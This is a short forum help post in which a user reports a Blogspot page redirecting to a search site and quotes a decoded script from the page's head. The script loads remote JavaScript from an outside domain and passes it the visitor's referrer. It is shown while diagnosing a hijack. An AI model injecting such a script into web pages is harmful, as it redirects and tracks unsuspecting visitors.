Redirected to search page

While trying to load a blog page, http://loungetracks.blogspot.com I get redirected to the following: http://smithexecutivesearch.info/search ... ounge&ref=
I ran Yahoo, Ad Aware and SpyBot to see if there is any malware in the Firefox browser. I clear whatever is found, but most are tracking cookies, not spy or malware. This is a recent happening.

I am running FF 2.0.0.2 and windows xp...but, I noticed the same thing on my son's computer, so maybe it is the blogspot website, not the browser.

Has that page been hijacked? There is a coded script in the <head> section of the page that decodes to something along these lines:

Code: Select all

document.write(<script>var ref=escape(document.referrer);var key=escape('lounge');document.write('<script src=http://smithexecutivesearch.info/js/js.php?ref='+ref+'&key='+key+'></script>'));

That imports some script from SmithExecutiveSearch.info, which could explain the redirection...
